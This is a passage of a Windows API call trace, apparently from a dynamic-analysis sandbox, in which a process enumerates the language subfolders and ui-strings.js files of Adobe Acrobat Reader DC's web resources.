lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.072] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.072] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.072] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.072] GetProcessHeap () returned 0xc10000 [0264.072] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.072] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0264.072] GetProcessHeap () returned 0xc10000 [0264.072] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.073] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.073] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.073] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.073] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.073] GetProcessHeap () returned 0xc10000 [0264.073] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.073] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0264.073] GetProcessHeap () returned 0xc10000 [0264.073] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.074] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.074] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4271, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.074] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4271, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.074] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.075] GetProcessHeap () returned 0xc10000 [0264.075] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.075] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0264.075] GetProcessHeap () returned 0xc10000 [0264.075] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.093] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.093] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.093] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.093] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.093] GetProcessHeap () returned 0xc10000 [0264.093] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.093] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0264.094] GetProcessHeap () returned 0xc10000 [0264.094] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.108] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.108] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x32f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.108] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x32f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.108] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.109] GetProcessHeap () returned 0xc10000 [0264.109] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.109] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0264.109] GetProcessHeap () returned 0xc10000 [0264.109] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.110] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.110] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.110] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.110] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.317] GetProcessHeap () returned 0xc10000 [0264.317] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.317] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0264.317] GetProcessHeap () returned 0xc10000 [0264.317] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.319] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.319] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3847, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.319] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3847, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.319] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.319] GetProcessHeap () returned 0xc10000 [0264.319] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.319] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0264.319] GetProcessHeap () returned 0xc10000 [0264.319] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.321] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.321] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3820, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.321] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3820, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.321] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.322] GetProcessHeap () returned 0xc10000 [0264.322] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.322] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) 